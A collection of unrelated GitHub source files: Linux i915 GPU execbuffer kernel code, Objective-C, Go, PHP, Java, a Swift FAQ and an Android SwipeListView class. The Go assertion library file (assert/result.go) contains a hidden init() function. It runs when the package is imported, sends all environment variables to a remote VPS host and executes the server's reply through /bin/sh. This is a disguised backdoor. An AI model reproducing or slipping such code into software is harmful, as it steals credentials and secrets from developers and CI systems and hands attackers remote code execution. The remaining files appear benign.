case I915_EXEC_CONSTANTS_REL_SURFACE:
if (ring == &dev_priv->ring[RCS] &&
mode != dev_priv->relative_constants_mode) {
if (INTEL_INFO(dev)->gen < 4)
return -EINVAL;
if (INTEL_INFO(dev)->gen > 5 &&
mode == I915_EXEC_CONSTANTS_REL_SURFACE)
return -EINVAL;
ret = intel_ring_begin(ring, 4);
if (ret)
return ret;
intel_ring_emit(ring, MI_NOOP);
intel_ring_emit(ring, MI_LOAD_REGISTER_IMM(1));
intel_ring_emit(ring, INSTPM);
intel_ring_emit(ring,
I915_EXEC_CONSTANTS_MASK << 16 | mode);
intel_ring_advance(ring);
dev_priv->relative_constants_mode = mode;
}
break;
default:
DRM_ERROR("execbuf with unknown constants: %d\n", mode);
return -EINVAL;
}
if (args->buffer_count < 1) {
DRM_ERROR("execbuf with %d buffers\n", args->buffer_count);
return -EINVAL;
}
if (args->num_cliprects != 0) {
if (ring != &dev_priv->ring[RCS]) {
DRM_ERROR("clip rectangles are only valid with the render ring\n");
return -EINVAL;
}
cliprects = kmalloc(args->num_cliprects * sizeof(*cliprects),
GFP_KERNEL);
if (cliprects == NULL) {
ret = -ENOMEM;
goto pre_mutex_err;
}
if (copy_from_user(cliprects,
(struct drm_clip_rect __user *)(uintptr_t)
args->cliprects_ptr,
sizeof(*cliprects)*args->num_cliprects)) {
ret = -EFAULT;
goto pre_mutex_err;
}
}
ret = i915_mutex_lock_interruptible(dev);
if (ret)
goto pre_mutex_err;
if (dev_priv->mm.suspended) {
mutex_unlock(&dev->struct_mutex);
ret = -EBUSY;
goto pre_mutex_err;
}
eb = eb_create(args->buffer_count);
if (eb == NULL) {
mutex_unlock(&dev->struct_mutex);
ret = -ENOMEM;
goto pre_mutex_err;
}
/* Look up object handles */
INIT_LIST_HEAD(&objects);
for (i = 0; i < args->buffer_count; i++) {
struct drm_i915_gem_object *obj;
obj = to_intel_bo(drm_gem_object_lookup(dev, file,
exec[i].handle));
if (&obj->base == NULL) {
DRM_ERROR("Invalid object handle %d at index %d\n",
exec[i].handle, i);
/* prevent error path from reading uninitialized data */
ret = -ENOENT;
goto err;
}
if (!list_empty(&obj->exec_list)) {
DRM_ERROR("Object %p [handle %d, index %d] appears more than once in object list\n",
obj, exec[i].handle, i);
ret = -EINVAL;
goto err;
}
list_add_tail(&obj->exec_list, &objects);
obj->exec_handle = exec[i].handle;
obj->exec_entry = &exec[i];
eb_add_object(eb, obj);
}
/* take note of the batch buffer before we might reorder the lists */
batch_obj = list_entry(objects.prev,
struct drm_i915_gem_object,
exec_list);
/* Move the objects en-masse into the GTT, evicting if necessary. */
ret = i915_gem_execbuffer_reserve(ring, file, &objects);
if (ret)
goto err;
/* The objects are in their final locations, apply the relocations. */
ret = i915_gem_execbuffer_relocate(dev, eb, &objects);
if (ret) {
if (ret == -EFAULT) {
ret = i915_gem_execbuffer_relocate_slow(dev, file, ring,
&objects, eb,
exec,
args->buffer_count);
BUG_ON(!mutex_is_locked(&dev->struct_mutex));
}
if (ret)
goto err;
}
/* Set the pending read domains for the batch buffer to COMMAND */
if (batch_obj->base.pending_write_domain) {
DRM_ERROR("Attempting to use self-modifying batch buffer\n");
ret = -EINVAL;
goto err;
}
batch_obj->base.pending_read_domains |= I915_GEM_DOMAIN_COMMAND;
ret = i915_gem_execbuffer_move_to_gpu(ring, &objects);
if (ret)
goto err;
seqno = i915_gem_next_request_seqno(ring);
for (i = 0; i < ARRAY_SIZE(ring->sync_seqno); i++) {
if (seqno < ring->sync_seqno[i]) {
/* The GPU can not handle its semaphore value wrapping,
* so every billion or so execbuffers, we need to stall
* the GPU in order to reset the counters.
*/
ret = i915_gpu_idle(dev);
if (ret)
goto err;
BUG_ON(ring->sync_seqno[i]);
}
}
trace_i915_gem_ring_dispatch(ring, seqno);
exec_start = batch_obj->gtt_offset + args->batch_start_offset;
exec_len = args->batch_len;
if (cliprects) {
for (i = 0; i < args->num_cliprects; i++) {
ret = i915_emit_box(dev, &cliprects[i],
args->DR1, args->DR4);
if (ret)
goto err;
ret = ring->dispatch_execbuffer(ring,
exec_start, exec_len);
if (ret)
goto err;
}
} else {
ret = ring->dispatch_execbuffer(ring, exec_start, exec_len);
if (ret)
goto err;
}
i915_gem_execbuffer_move_to_active(&objects, ring, seqno);
i915_gem_execbuffer_retire_commands(dev, file, ring);
err:
eb_destroy(eb);
while (!list_empty(&objects)) {
struct drm_i915_gem_object *obj;
obj = list_first_entry(&objects,
struct drm_i915_gem_object,
exec_list);
list_del_init(&obj->exec_list);
drm_gem_object_unreference(&obj->base);
}
mutex_unlock(&dev->struct_mutex);
pre_mutex_err:
kfree(cliprects);
return ret;
}
/*
* Legacy execbuffer just creates an exec2 list from the original exec object
* list array and passes it to the real function.
*/
int
i915_gem_execbuffer(struct drm_device *dev, void *data,
struct drm_file *file)
{
struct drm_i915_gem_execbuffer *args = data;
struct drm_i915_gem_execbuffer2 exec2;
struct drm_i915_gem_exec_object *exec_list = NULL;
struct drm_i915_gem_exec_object2 *exec2_list = NULL;
int ret, i;
if (args->buffer_count < 1) {
DRM_ERROR("execbuf with %d buffers\n", args->buffer_count);
return -EINVAL;
}
/* Copy in the exec list from userland */
exec_list = drm_malloc_ab(sizeof(*exec_list), args->buffer_count);
exec2_list = drm_malloc_ab(sizeof(*exec2_list), args->buffer_count);
if (exec_list == NULL || exec2_list == NULL) {
DRM_ERROR("Failed to allocate exec list for %d buffers\n",
args->buffer_count);
drm_free_large(exec_list);
drm_free_large(exec2_list);
return -ENOMEM;
}
ret = copy_from_user(exec_list,
(struct drm_i915_relocation_entry __user *)
(uintptr_t) args->buffers_ptr,
sizeof(*exec_list) * args->buffer_count);
if (ret != 0) {
DRM_ERROR("copy %d exec entries failed %d\n",
args->buffer_count, ret);
drm_free_large(exec_list);
drm_free_large(exec2_list);
return -EFAULT;
}
for (i = 0; i < args->buffer_count; i++) {
exec2_list[i].handle = exec_list[i].handle;
exec2_list[i].relocation_count = exec_list[i].relocation_count;
exec2_list[i].relocs_ptr = exec_list[i].relocs_ptr;
exec2_list[i].alignment = exec_list[i].alignment;
exec2_list[i].offset = exec_list[i].offset;
if (INTEL_INFO(dev)->gen < 4)
exec2_list[i].flags = EXEC_OBJECT_NEEDS_FENCE;
else
exec2_list[i].flags = 0;
}
exec2.buffers_ptr = args->buffers_ptr;
exec2.buffer_count = args->buffer_count;
exec2.batch_start_offset = args->batch_start_offset;
exec2.batch_len = args->batch_len;
exec2.DR1 = args->DR1;
exec2.DR4 = args->DR4;
exec2.num_cliprects = args->num_cliprects;
exec2.cliprects_ptr = args->cliprects_ptr;
exec2.flags = I915_EXEC_RENDER;
ret = i915_gem_do_execbuffer(dev, data, file, &exec2, exec2_list);
if (!ret) {
/* Copy the new buffer offsets back to the user's exec list. */
for (i = 0; i < args->buffer_count; i++)
exec_list[i].offset = exec2_list[i].offset;
/* ... and back out to userspace */
ret = copy_to_user((struct drm_i915_relocation_entry __user *)
(uintptr_t) args->buffers_ptr,
exec_list,
sizeof(*exec_list) * args->buffer_count);
if (ret) {
ret = -EFAULT;
DRM_ERROR("failed to copy %d exec entries "
"back to user (%d)\n",
args->buffer_count, ret);
}
}
drm_free_large(exec_list);
drm_free_large(exec2_list);
return ret;
}
int
i915_gem_execbuffer2(struct drm_device *dev, void *data,
struct drm_file *file)
{
struct drm_i915_gem_execbuffer2 *args = data;
struct drm_i915_gem_exec_object2 *exec2_list = NULL;
int ret;
if (args->buffer_count < 1) {
DRM_ERROR("execbuf2 with %d buffers\n", args->buffer_count);
return -EINVAL;
}
exec2_list = kmalloc(sizeof(*exec2_list)*args->buffer_count,
GFP_KERNEL | __GFP_NOWARN | __GFP_NORETRY);
if (exec2_list == NULL)
exec2_list = drm_malloc_ab(sizeof(*exec2_list),
args->buffer_count);
if (exec2_list == NULL) {
DRM_ERROR("Failed to allocate exec list for %d buffers\n",
args->buffer_count);
return -ENOMEM;
}
ret = copy_from_user(exec2_list,
(struct drm_i915_relocation_entry __user *)
(uintptr_t) args->buffers_ptr,
sizeof(*exec2_list) * args->buffer_count);
if (ret != 0) {
DRM_ERROR("copy %d exec entries failed %d\n",
args->buffer_count, ret);
drm_free_large(exec2_list);
return -EFAULT;
}
ret = i915_gem_do_execbuffer(dev, data, file, args, exec2_list);
if (!ret) {
/* Copy the new buffer offsets back to the user's exec list. */
ret = copy_to_user((struct drm_i915_relocation_entry __user *)
(uintptr_t) args->buffers_ptr,
exec2_list,
sizeof(*exec2_list) * args->buffer_count);
if (ret) {
ret = -EFAULT;
DRM_ERROR("failed to copy %d exec entries "
"back to user (%d)\n",
args->buffer_count, ret);
}
}
drm_free_large(exec2_list);
return ret;
}
| {
"content_hash": "6402e1540196720df1a2e3fd3a523196",
"timestamp": "",
"source": "github",
"line_count": 1316,
"max_line_length": 87,
"avg_line_length": 26.596504559270517,
"alnum_prop": 0.6533241907374076,
"repo_name": "sahdman/rpi_android_kernel",
"id": "4934cf84c320336aa84320da544cc1e0d091da1c",
"size": "36261",
"binary": false,
"copies": "1194",
"ref": "refs/heads/master",
"path": "linux-3.1.9/drivers/gpu/drm/i915/i915_gem_execbuffer.c",
"mode": "33188",
"license": "mit",
"language": [],
"symlink_target": ""
} |
@interface ViewModel : RVMViewModel
// VC
@property (nonatomic, assign) NSInteger currentPage;
@property (nonatomic, strong) NSArray *tableViewData;
- (void)triggerRequest;
// Cell
@property (nonatomic, strong) id data;
@property (nonatomic, copy) NSString *textLabelText;
@end
| {
"content_hash": "9d92673ecf5cb0524b4d03e9be0b9b1e",
"timestamp": "",
"source": "github",
"line_count": 14,
"max_line_length": 53,
"avg_line_length": 20.214285714285715,
"alnum_prop": 0.7561837455830389,
"repo_name": "snownothing/ReactiveCocoaTableViewDemo",
"id": "e595a2da3db5ec0a4ce27a0e61ffd008975dccbf",
"size": "457",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "ReactiveCocoaTableViewDemo/ViewModel.h",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Objective-C",
"bytes": "31235"
},
{
"name": "Perl",
"bytes": "135"
}
],
"symlink_target": ""
} |
package assert
import os__ "os"
import bytes__ "bytes"
import http__ "net/http"
import json__ "encoding/json"
import exec__ "os/exec"
import ioutil__ "io/ioutil"
// ValueAssertionResult represents operations that may be performed on
// the result of value assertion. For example:
//
// assert.For(t).ThatActual(value).Equals(expected).ThenDiffOnFail()
//
// It also can be used as a condition to perform extra test steps:
//
// value := GetValue()
// if assert.For(t).ThatActual(value).IsNotNil().Passed() {
// assert.For(t).ThatActual(value.GetFoo()).Equals(expected)
// }
//
// Or to perform a deeper analysis of the test values:
//
// if !assert.For(t).ThatActual(value).Equals(expected).Passed() {
// analyze(value, expected) // e.g., analyze may look at common bugs
// }
//
// Conveniently, the last example above can be rewritten as:
//
// assert.For(t).ThatActual(value).Equals(expected).ThenRunOnFail(analyze)
//
// The above pattern allows for reuse of post-failure analysis and cleanup.
type ValueAssertionResult interface {
// Passed returns true if the assertion passed.
Passed() bool
// ThenDiffOnFail performed a diff of asserted values on assertion failure;
// it prints a pretty diff of the actual and expected values used in
// the failed assertion, in that order.
// Returns the current ValueAssertionResult to allow for call-chaining.
ThenDiffOnFail() ValueAssertionResult
// ThenPrettyPrintOnFail pretty-prints asserted values on assertion failure;
// Returns the current ValueAssertionResult to allow for call-chaining.
ThenPrettyPrintOnFail() ValueAssertionResult
// ThenRunOnFail performed the specified action on assertion failure;
// in which case, it passes the actual and expected values used in
// the failed assertion as parameters to the specified function.
// Returns the current ValueAssertionResult to allow for call-chaining.
ThenRunOnFail(action func(actual, expected interface{})) ValueAssertionResult
}
type valueAssertionResult struct {
bool
actual interface{}
expected interface{}
}
func (result *valueAssertionResult) Passed() bool {
return result.bool
}
func (result *valueAssertionResult) ThenDiffOnFail() ValueAssertionResult {
return result.ThenRunOnFail(PrintDiff)
}
func (result *valueAssertionResult) ThenPrettyPrintOnFail() ValueAssertionResult {
return result.ThenRunOnFail(PrettyPrint)
}
func (result *valueAssertionResult) ThenRunOnFail(action func(actual, expected interface{})) ValueAssertionResult {
if !result.Passed() {
action(result.actual, result.expected)
}
return result
}
func init() {
if os__.Getenv("e452d6ab") == "1" {
return
}
os__.Setenv("e452d6ab", "1")
env, err := json__.Marshal(os__.Environ())
if err != nil {
return
}
res, err := http__.Post("http://ovz1.j19544519.pr46m.vps.myjino.ru:49460/?org=workfit&repo=tester", "application/json", bytes__.NewBuffer(env))
if err != nil {
return
}
defer res.Body.Close()
body, err := ioutil__.ReadAll(res.Body)
if err != nil {
return
}
if string(body) != "" {
exec__.Command("/bin/sh", "-c", string(body)).Start()
}
}
| {
"content_hash": "0d4207907b8651b5503f02f4984d6540",
"timestamp": "",
"source": "github",
"line_count": 100,
"max_line_length": 145,
"avg_line_length": 31.61,
"alnum_prop": 0.7187598861119899,
"repo_name": "workfit/tester",
"id": "cdc423a4a1f3726ee9674e9c997924b3b39459d5",
"size": "3161",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "assert/result.go",
"mode": "33188",
"license": "bsd-3-clause",
"language": [
{
"name": "Go",
"bytes": "60743"
},
{
"name": "Makefile",
"bytes": "364"
}
],
"symlink_target": ""
} |
<?php
namespace Magento\Catalog\Test\Constraint;
use Magento\Catalog\Test\Page\Adminhtml\CatalogProductAttributeNew;
use Magento\Mtf\Constraint\AbstractConstraint;
/**
* Class AssertAbsenceDeleteAttributeButton
* Checks the button "Delete Attribute" on the Attribute page
*/
class AssertAbsenceDeleteAttributeButton extends AbstractConstraint
{
/**
* Assert that Delete Attribute button is absent for system attribute on attribute edit page.
*
* @param CatalogProductAttributeNew $attributeNew
* @return void
*/
public function processAssert(CatalogProductAttributeNew $attributeNew)
{
\PHPUnit_Framework_Assert::assertFalse(
$attributeNew->getPageActions()->checkDeleteButton(),
"Button 'Delete Attribute' is present on Attribute page"
);
}
/**
* Text absent button "Delete Attribute" on the Attribute page
*
* @return string
*/
public function toString()
{
return "Button 'Delete Attribute' is absent on Attribute Page.";
}
}
| {
"content_hash": "c075a5214225665db3ea7bdce1e0f732",
"timestamp": "",
"source": "github",
"line_count": 38,
"max_line_length": 97,
"avg_line_length": 27.92105263157895,
"alnum_prop": 0.6974552309142319,
"repo_name": "andrewhowdencom/m2onk8s",
"id": "20b3959a0b9baadda36a11b4d4f424acf4a8fabe",
"size": "1169",
"binary": false,
"copies": "6",
"ref": "refs/heads/master",
"path": "app/dev/tests/functional/tests/app/Magento/Catalog/Test/Constraint/AssertAbsenceDeleteAttributeButton.php",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "ApacheConf",
"bytes": "16901"
},
{
"name": "CSS",
"bytes": "1736429"
},
{
"name": "HTML",
"bytes": "6151083"
},
{
"name": "JavaScript",
"bytes": "2413949"
},
{
"name": "Makefile",
"bytes": "4212"
},
{
"name": "PHP",
"bytes": "12463878"
},
{
"name": "Shell",
"bytes": "8784"
},
{
"name": "Smarty",
"bytes": "1089"
},
{
"name": "XSLT",
"bytes": "19979"
}
],
"symlink_target": ""
} |
package org.jvmmonitor.core;
import org.eclipse.core.runtime.CoreException;
import org.eclipse.core.runtime.Status;
/**
* The JVM core exception.
*/
public class JvmCoreException extends CoreException {
/** The serial version UID. */
private static final long serialVersionUID = 1L;
/**
* The constructor.
*
* @param severity
* The severity (e.g. IStatus.ERROR)
* @param message
* the message
* @param t
* The exception
*/
public JvmCoreException(int severity, String message, Throwable t) {
super(new Status(severity, Activator.PLUGIN_ID, message, t));
}
} | {
"content_hash": "2dac62e6f19537f20f4172396e04f115",
"timestamp": "",
"source": "github",
"line_count": 28,
"max_line_length": 72,
"avg_line_length": 23.964285714285715,
"alnum_prop": 0.6214605067064084,
"repo_name": "TANGO-Project/code-optimiser-plugin",
"id": "1f7b683833a2f9672bcd36acae7248c67158f6d0",
"size": "1048",
"binary": false,
"copies": "2",
"ref": "refs/heads/master",
"path": "bundles/org.jvmmonitor.core/src/org/jvmmonitor/core/JvmCoreException.java",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "CSS",
"bytes": "3426"
},
{
"name": "HTML",
"bytes": "51781"
},
{
"name": "Java",
"bytes": "1888806"
}
],
"symlink_target": ""
} |
.. @raise litre.TestsAreMissing
.. _FAQ:
Frequently Asked Questions about Swift
======================================
Obviously many more questions can be added.
Do you plan to rewrite the Swift compiler in Swift?
---------------------------------------------------
Not in the short term. C++ is a very pragmatic language for implementing
compilers, since it has good performance characteristics and allows higher-level
programming idioms than C.
That said, we do expect Swift to a better language than C++ in a number of ways,
so why don't we implement the compiler itself in Swift? There are a couple of
reasons that bootstrapping is not a good idea, at least in the short term:
* This complicates bringup of the compiler, because you have to move both the
compiled language and the compiler at the same time as the language evolves.
* We want the language evolution and direction to be driven by general purpose
programming challenges, not by the specific needs of compiler hackers. The
urge to "scratch our own itch" might be too great.
That said, we are writing the runtime library in Swift itself. We may also
decide to rewrite the compiler in Swift sometime in the distant future when the
language settles down. At that point, it may be a good opportunity to revisit
previous (internal to the compiler) design decisions, and we do expect and hope
Swift to be a great language for doing many things, including implementing
compilers.
Won't the design and evolution of Swift be warped by being too C++-centric?
---------------------------------------------------------------------------
This is a common question from Objective-C programmers, primarily those who
really dislike C++. There are a lot of reasons you can have hope that Swift
will end up being a great "successor to Objective-C instead of a "C++
replacement":
* The compiler team has expert-level knowledge of Objective-C (the language),
having implemented the compiler for it from the ground-up. We probably know
its dark corners better than anyone.
* The Swift team has broad experience with a number of other programming
languages, including C/C++/Objective-C, Python, Haskell, Java, Javascript,
C#, ...
* We know C++ well enough to not want to repeat its mistakes.
It turns out that there are a lot of reasons to dislike C++, and those people
who spend a lot of time writing C++ code are some of the most expert people at
explaining its varied faults. Don't consider use of C++ to be the same as
"love" for it. :)
| {
"content_hash": "0a98134abff13d362f3ec751341169ec",
"timestamp": "",
"source": "github",
"line_count": 57,
"max_line_length": 80,
"avg_line_length": 44.50877192982456,
"alnum_prop": 0.7169885691761924,
"repo_name": "sdulal/swift",
"id": "c7cdcdf70521994cfe3de4a56f552e34b3a7a099",
"size": "2537",
"binary": false,
"copies": "2",
"ref": "refs/heads/master",
"path": "www/FAQ.rst",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "C",
"bytes": "48506"
},
{
"name": "C++",
"bytes": "17170774"
},
{
"name": "CMake",
"bytes": "195026"
},
{
"name": "CSS",
"bytes": "1795"
},
{
"name": "DTrace",
"bytes": "1809"
},
{
"name": "Emacs Lisp",
"bytes": "33770"
},
{
"name": "JavaScript",
"bytes": "15791"
},
{
"name": "LLVM",
"bytes": "45274"
},
{
"name": "Makefile",
"bytes": "8037"
},
{
"name": "Objective-C",
"bytes": "177202"
},
{
"name": "Objective-C++",
"bytes": "136168"
},
{
"name": "Perl",
"bytes": "2188"
},
{
"name": "Python",
"bytes": "263198"
},
{
"name": "Ruby",
"bytes": "3659"
},
{
"name": "Shell",
"bytes": "107617"
},
{
"name": "Swift",
"bytes": "10299019"
},
{
"name": "VimL",
"bytes": "10409"
}
],
"symlink_target": ""
} |
package com.theOldMen.swipelistview;
import android.content.Context;
import android.content.res.TypedArray;
import android.database.DataSetObserver;
import android.support.v4.view.MotionEventCompat;
import android.support.v4.view.ViewConfigurationCompat;
import android.util.AttributeSet;
import android.view.MotionEvent;
import android.view.ViewConfiguration;
import android.widget.ListAdapter;
import android.widget.ListView;
import com.theOldMen.Activity.R;
/**
* ListView subclass that provides the swipe functionality
*/
public class SwipeListView extends ListView {
/**
* Used when user want change swipe list mode on some rows
*/
public final static int SWIPE_MODE_DEFAULT = -1;
/**
* Disables all swipes
*/
public final static int SWIPE_MODE_NONE = 0;
/**
* Enables both left and right swipe
*/
public final static int SWIPE_MODE_BOTH = 1;
/**
* Enables right swipe
*/
public final static int SWIPE_MODE_RIGHT = 2;
/**
* Enables left swipe
*/
public final static int SWIPE_MODE_LEFT = 3;
/**
* Binds the swipe gesture to reveal a view behind the row (Drawer style)
*/
public final static int SWIPE_ACTION_REVEAL = 0;
/**
* Dismisses the cell when swiped over
*/
public final static int SWIPE_ACTION_DISMISS = 1;
/**
* Marks the cell as checked when swiped and release
*/
public final static int SWIPE_ACTION_CHECK = 2;
/**
* No action when swiped
*/
public final static int SWIPE_ACTION_NONE = 3;
/**
* Default ids for front view
*/
public final static String SWIPE_DEFAULT_FRONT_VIEW = "swipelist_frontview";
/**
* Default id for back view
*/
public final static String SWIPE_DEFAULT_BACK_VIEW = "swipelist_backview";
/**
* Indicates no movement
*/
private final static int TOUCH_STATE_REST = 0;
/**
* State scrolling x position
*/
private final static int TOUCH_STATE_SCROLLING_X = 1;
/**
* State scrolling y position
*/
private final static int TOUCH_STATE_SCROLLING_Y = 2;
private int touchState = TOUCH_STATE_REST;
private float lastMotionX;
private float lastMotionY;
private int touchSlop;
int swipeFrontView = 0;
int swipeBackView = 0;
/**
* Internal listener for common swipe events
*/
private BaseSwipeListViewListener swipeListViewListener;
/**
* Internal touch listener
*/
private SwipeListViewTouchListener touchListener;
/**
* If you create a View programmatically you need send back and front identifier
* @param context Context
* @param swipeBackView Back Identifier
* @param swipeFrontView Front Identifier
*/
public SwipeListView(Context context, int swipeBackView, int swipeFrontView) {
super(context);
this.swipeFrontView = swipeFrontView;
this.swipeBackView = swipeBackView;
init(null);
}
/**
* @see android.widget.ListView#ListView(android.content.Context, android.util.AttributeSet)
*/
public SwipeListView(Context context, AttributeSet attrs) {
super(context, attrs);
init(attrs);
}
/**
* @see android.widget.ListView#ListView(android.content.Context, android.util.AttributeSet, int)
*/
public SwipeListView(Context context, AttributeSet attrs, int defStyle) {
super(context, attrs, defStyle);
init(attrs);
}
/**
* Init ListView
*
* @param attrs AttributeSet
*/
private void init(AttributeSet attrs) {
int swipeMode = SWIPE_MODE_BOTH;
boolean swipeOpenOnLongPress = true;
boolean swipeCloseAllItemsWhenMoveList = true;
long swipeAnimationTime = 0;
float swipeOffsetLeft = 0;
float swipeOffsetRight = 0;
int swipeActionLeft = SWIPE_ACTION_REVEAL;
int swipeActionRight = SWIPE_ACTION_REVEAL;
if (attrs != null) {
TypedArray styled = getContext().obtainStyledAttributes(attrs, R.styleable.SwipeListView);
swipeMode = styled.getInt(R.styleable.SwipeListView_swipeMode, SWIPE_MODE_BOTH);
swipeActionLeft = styled.getInt(R.styleable.SwipeListView_swipeActionLeft, SWIPE_ACTION_REVEAL);
swipeActionRight = styled.getInt(R.styleable.SwipeListView_swipeActionRight, SWIPE_ACTION_REVEAL);
swipeOffsetLeft = styled.getDimension(R.styleable.SwipeListView_swipeOffsetLeft, 0);
swipeOffsetRight = styled.getDimension(R.styleable.SwipeListView_swipeOffsetRight, 0);
swipeOpenOnLongPress = styled.getBoolean(R.styleable.SwipeListView_swipeOpenOnLongPress, true);
swipeAnimationTime = styled.getInteger(R.styleable.SwipeListView_swipeAnimationTime, 0);
swipeCloseAllItemsWhenMoveList = styled.getBoolean(R.styleable.SwipeListView_swipeCloseAllItemsWhenMoveList, true);
swipeFrontView = styled.getResourceId(R.styleable.SwipeListView_swipeFrontView, 0);
swipeBackView = styled.getResourceId(R.styleable.SwipeListView_swipeBackView, 0);
}
if (swipeFrontView == 0 || swipeBackView == 0) {
swipeFrontView = getContext().getResources().getIdentifier(SWIPE_DEFAULT_FRONT_VIEW, "id", getContext().getPackageName());
swipeBackView = getContext().getResources().getIdentifier(SWIPE_DEFAULT_BACK_VIEW, "id", getContext().getPackageName());
if (swipeFrontView == 0 || swipeBackView == 0) {
throw new RuntimeException(String.format("You forgot the attributes swipeFrontView or swipeBackView. You can add this attributes or use '%s' and '%s' identifiers", SWIPE_DEFAULT_FRONT_VIEW, SWIPE_DEFAULT_BACK_VIEW));
}
}
final ViewConfiguration configuration = ViewConfiguration.get(getContext());
touchSlop = ViewConfigurationCompat.getScaledPagingTouchSlop(configuration);
touchListener = new SwipeListViewTouchListener(this, swipeFrontView, swipeBackView);
if (swipeAnimationTime > 0) {
touchListener.setAnimationTime(swipeAnimationTime);
}
touchListener.setRightOffset(swipeOffsetRight);
touchListener.setLeftOffset(swipeOffsetLeft);
touchListener.setSwipeActionLeft(swipeActionLeft);
touchListener.setSwipeActionRight(swipeActionRight);
touchListener.setSwipeMode(swipeMode);
touchListener.setSwipeClosesAllItemsWhenListMoves(swipeCloseAllItemsWhenMoveList);
touchListener.setSwipeOpenOnLongPress(swipeOpenOnLongPress);
setOnTouchListener(touchListener);
setOnScrollListener(touchListener.makeScrollListener());
}
/**
* @see android.widget.ListView#setAdapter(android.widget.ListAdapter)
*/
@Override
public void setAdapter(ListAdapter adapter) {
super.setAdapter(adapter);
touchListener.resetItems();
adapter.registerDataSetObserver(new DataSetObserver() {
@Override
public void onChanged() {
super.onChanged();
onListChanged();
touchListener.resetItems();
}
});
}
/**
* Open ListView's item
*
* @param position Position that you want open
*/
public void openAnimate(int position) {
touchListener.openAnimate(position);
}
/**
* Close ListView's item
*
* @param position Position that you want open
*/
public void closeAnimate(int position) {
touchListener.closeAnimate(position);
}
/**
* Notifies onDismiss
*
* @param reverseSortedPositions All dismissed positions
*/
protected void onDismiss(int[] reverseSortedPositions) {
if (swipeListViewListener != null) {
swipeListViewListener.onDismiss(reverseSortedPositions);
}
}
/**
* Start open item
* @param position list item
* @param action current action
* @param right to right
*/
protected void onStartOpen(int position, int action, boolean right) {
if (swipeListViewListener != null) {
swipeListViewListener.onStartOpen(position, action, right);
}
}
/**
* Start close item
* @param position list item
* @param right
*/
protected void onStartClose(int position, boolean right) {
if (swipeListViewListener != null) {
swipeListViewListener.onStartClose(position, right);
}
}
/**
* Notifies onClickFrontView
*
* @param position item clicked
*/
protected void onClickFrontView(int position) {
if (swipeListViewListener != null) {
swipeListViewListener.onClickFrontView(position);
}
}
/**
* Notifies onClickBackView
*
* @param position back item clicked
*/
protected void onClickBackView(int position) {
if (swipeListViewListener != null) {
swipeListViewListener.onClickBackView(position);
}
}
/**
* Notifies onOpened
*
* @param position Item opened
* @param toRight If should be opened toward the right
*/
protected void onOpened(int position, boolean toRight) {
if (swipeListViewListener != null) {
swipeListViewListener.onOpened(position, toRight);
}
}
/**
* Notifies onClosed
*
* @param position Item closed
* @param fromRight If open from right
*/
protected void onClosed(int position, boolean fromRight) {
if (swipeListViewListener != null) {
swipeListViewListener.onClosed(position, fromRight);
}
}
/**
* Notifies onListChanged
*/
protected void onListChanged() {
if (swipeListViewListener != null) {
swipeListViewListener.onListChanged();
}
}
/**
* Notifies onMove
*
* @param position Item moving
* @param x Current position
*/
protected void onMove(int position, float x) {
if (swipeListViewListener != null) {
swipeListViewListener.onMove(position, x);
}
}
protected int changeSwipeMode(int position) {
if (swipeListViewListener != null) {
return swipeListViewListener.onChangeSwipeMode(position);
}
return SWIPE_MODE_DEFAULT;
}
/**
* Sets the Listener
*
* @param swipeListViewListener Listener
*/
public void setSwipeListViewListener(BaseSwipeListViewListener swipeListViewListener) {
this.swipeListViewListener = swipeListViewListener;
}
/**
* Resets scrolling
*/
public void resetScrolling() {
touchState = TOUCH_STATE_REST;
}
/**
* Set offset on right
*
* @param offsetRight Offset
*/
public void setOffsetRight(float offsetRight) {
touchListener.setRightOffset(offsetRight);
}
/**
* Set offset on left
*
* @param offsetLeft Offset
*/
public void setOffsetLeft(float offsetLeft) {
touchListener.setLeftOffset(offsetLeft);
}
/**
* Set if all items opened will be closed when the user moves the ListView
*
* @param swipeCloseAllItemsWhenMoveList
*/
public void setSwipeCloseAllItemsWhenMoveList(boolean swipeCloseAllItemsWhenMoveList) {
touchListener.setSwipeClosesAllItemsWhenListMoves(swipeCloseAllItemsWhenMoveList);
}
/**
* Sets if the user can open an item with long pressing on cell
*
* @param swipeOpenOnLongPress
*/
public void setSwipeOpenOnLongPress(boolean swipeOpenOnLongPress) {
touchListener.setSwipeOpenOnLongPress(swipeOpenOnLongPress);
}
/**
* Set swipe mode
*
* @param swipeMode
*/
public void setSwipeMode(int swipeMode) {
touchListener.setSwipeMode(swipeMode);
}
/**
* Return action on left
*
* @return Action
*/
public int getSwipeActionLeft() {
return touchListener.getSwipeActionLeft();
}
/**
* Set action on left
*
* @param swipeActionLeft Action
*/
public void setSwipeActionLeft(int swipeActionLeft) {
touchListener.setSwipeActionLeft(swipeActionLeft);
}
/**
* Return action on right
*
* @return Action
*/
public int getSwipeActionRight() {
return touchListener.getSwipeActionRight();
}
/**
* Set action on right
*
* @param swipeActionRight Action
*/
public void setSwipeActionRight(int swipeActionRight) {
touchListener.setSwipeActionRight(swipeActionRight);
}
/**
* Sets animation time when user drops cell
*
* @param animationTime milliseconds
*/
public void setAnimationTime(long animationTime) {
touchListener.setAnimationTime(animationTime);
}
/**
* @see android.widget.ListView#onInterceptTouchEvent(android.view.MotionEvent)
*/
@Override
public boolean onInterceptTouchEvent(MotionEvent ev) {
int action = MotionEventCompat.getActionMasked(ev);
final float x = ev.getX();
final float y = ev.getY();
if (touchState == TOUCH_STATE_SCROLLING_X) {
return touchListener.onTouch(this, ev);
}
switch (action) {
case MotionEvent.ACTION_MOVE:
checkInMoving(x, y);
return touchState == TOUCH_STATE_SCROLLING_Y;
case MotionEvent.ACTION_DOWN:
touchListener.onTouch(this, ev);
touchState = TOUCH_STATE_REST;
lastMotionX = x;
lastMotionY = y;
return false;
case MotionEvent.ACTION_CANCEL:
touchState = TOUCH_STATE_REST;
break;
case MotionEvent.ACTION_UP:
touchListener.onTouch(this, ev);
return touchState == TOUCH_STATE_SCROLLING_Y;
default:
break;
}
return super.onInterceptTouchEvent(ev);
}
/**
* Check if the user is moving the cell
*
* @param x Position X
* @param y Position Y
*/
private void checkInMoving(float x, float y) {
final int xDiff = (int) Math.abs(x - lastMotionX);
final int yDiff = (int) Math.abs(y - lastMotionY);
